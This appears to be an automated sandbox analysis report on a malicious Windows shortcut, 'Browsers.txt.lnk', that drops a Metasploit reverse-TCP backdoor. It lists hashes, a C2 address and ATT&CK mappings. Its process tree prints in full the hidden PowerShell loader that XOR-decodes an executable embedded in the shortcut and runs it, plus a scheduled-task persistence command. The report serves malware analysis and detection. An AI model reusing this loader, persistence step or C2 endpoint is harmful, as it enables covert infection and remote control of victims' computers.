metasploit | 273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef

General

Target

Browsers.txt.lnk
Size

1.1MB
MD5

f633c0331190af42493e0bd861853bbe
SHA1

e51a46951bb42d8ea12e6d86c075d30c9b95b160
SHA256

273a75ba90251e317ed6291e6d4e31f80ce006e81bdc6582a4988078dc5610ef
SHA512

35a59bd65dfb15f7412904cc41f1d2eae39e5d15ce9963ff9251584d9b642060dcdf6c3b74f9ba358922d2a0b0baa04887697f4ed8e48bfeb7b2fe98e9861cc9
SSDEEP

24576:BqdCjhtTdvhtTdvhtTdvhtTdvhtTdvhr8k:7htTdvhtTdvhtTdvhtTdvhtTdvhQk

Score

10^/10

metasploit backdoor execution trojan upx

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

C2

104.248.194.233:443

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3880 powershell.exe

pid	process
3880	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exetmp1754007103.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	tmp1754007103.exe

Executes dropped EXE 2 IoCs

Processes:

tmp1754007103.exezntpxyce.dup.exe

pid process

2532 tmp1754007103.exe
1796 zntpxyce.dup.exe

pid	process
2532	tmp1754007103.exe
1796	zntpxyce.dup.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\zntpxyce.dup.exe	upx
behavioral1/memory/1796-41-0x0000000000400000-0x0000000000419000-memory.dmp	upx
behavioral1/memory/1796-44-0x0000000000400000-0x0000000000419000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3340 schtasks.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3880 powershell.exe
3880 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exetmp1754007103.exe

description pid process

Token: SeDebugPrivilege 3880 powershell.exe
Token: SeDebugPrivilege 2532 tmp1754007103.exe

pid	process
3340	schtasks.exe

pid	process
3880	powershell.exe
3880	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3880	powershell.exe
Token: SeDebugPrivilege	2532	tmp1754007103.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.execmd.exepowershell.exetmp1754007103.exe

description	pid	process	target process
PID 3176 wrote to memory of 3980	3176	cmd.exe	cmd.exe
PID 3176 wrote to memory of 3980	3176	cmd.exe	cmd.exe
PID 3980 wrote to memory of 3880	3980	cmd.exe	powershell.exe
PID 3980 wrote to memory of 3880	3980	cmd.exe	powershell.exe
PID 3880 wrote to memory of 2532	3880	powershell.exe	tmp1754007103.exe
PID 3880 wrote to memory of 2532	3880	powershell.exe	tmp1754007103.exe
PID 2532 wrote to memory of 2240	2532	tmp1754007103.exe	schtasks.exe
PID 2532 wrote to memory of 2240	2532	tmp1754007103.exe	schtasks.exe
PID 2532 wrote to memory of 3340	2532	tmp1754007103.exe	schtasks.exe
PID 2532 wrote to memory of 3340	2532	tmp1754007103.exe	schtasks.exe
PID 2532 wrote to memory of 1796	2532	tmp1754007103.exe	zntpxyce.dup.exe
PID 2532 wrote to memory of 1796	2532	tmp1754007103.exe	zntpxyce.dup.exe
PID 2532 wrote to memory of 1796	2532	tmp1754007103.exe	zntpxyce.dup.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Browsers.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00117926} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 002838)) -Encoding Byte; ^& $path;
2⤵
- Suspicious use of WriteProcessMemory
PID:3980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00117926} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x33 }; $path = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file | select -Skip 002838)) -Encoding Byte; & $path;
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880

C:\Users\Admin\AppData\Local\Temp\tmp1754007103.exe
"C:\Users\Admin\AppData\Local\Temp\tmp1754007103.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\SYSTEM32\schtasks.exe
"schtasks.exe" /query /TN WinTask
5⤵
PID:2240

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn WinTask /tr C:\Users\Admin\AppData\Local\Temp\tmp1754007103.exe /sc minute /mo 5
5⤵
- Creates scheduled task(s)
PID:3340

C:\Users\Admin\AppData\Local\Temp\zntpxyce.dup.exe
"C:\Users\Admin\AppData\Local\Temp\zntpxyce.dup.exe"
5⤵
- Executes dropped EXE
PID:1796

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3696 --field-trial-handle=3192,i,2785050981002401924,4037047756083432660,262144 --variations-seed-version /prefetch:8
1⤵
PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qx0jhpx3.voz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp1754007103.exe

Filesize
1.1MB

MD5
7889c4df19a5f4e678965812cdde1deb

SHA1
fbc034bae5de5bde878b364134a73d12cc3b47f5

SHA256
4cf48c2a3933ac4c6733533bf16d40fa4e411fbbf42b03d84d6c8df62e253ad0

SHA512
8642097d70fcd4dd46eda2ced82c3727ca4b27c19fc803568347cc4828e65bfce5aa4fc94b8fcf5d1b1aa21bfeecd865883c8be1b3717d7d76d82b838c836401

Download Submit
C:\Users\Admin\AppData\Local\Temp\zntpxyce.dup.exe

Filesize
47KB

MD5
090de6108919fa287445dcc327750a88

SHA1
c9edd286ffa8533ed76b4efa464753a1649f95b0

SHA256
4edf2a61c1a4af58990fe72a746d9b810cd173ddb40baf56231a580095b6c252

SHA512
4a89033e1fa619328fb5eb3a39a027d32061c96f1205240bc73d5ed6d6ad27e5e22cdf718855a476a6171c63e8b9e1b797a84fdcc30b38e2ac7c66a860ba75ca

Download Submit
memory/1796-44-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/1796-41-0x0000000000400000-0x0000000000419000-memory.dmp

Filesize
100KB

Download
memory/2532-26-0x0000023FFB440000-0x0000023FFB55A000-memory.dmp

Filesize
1.1MB

Download
memory/3880-16-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-15-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-0-0x00007FFED7BA3000-0x00007FFED7BA5000-memory.dmp

Filesize
8KB

Download
memory/3880-17-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-14-0x00007FFED7BA3000-0x00007FFED7BA5000-memory.dmp

Filesize
8KB

Download
memory/3880-13-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-27-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-12-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-11-0x00007FFED7BA0000-0x00007FFED8661000-memory.dmp

Filesize
10.8MB

Download
memory/3880-10-0x0000020665E60000-0x0000020665E82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads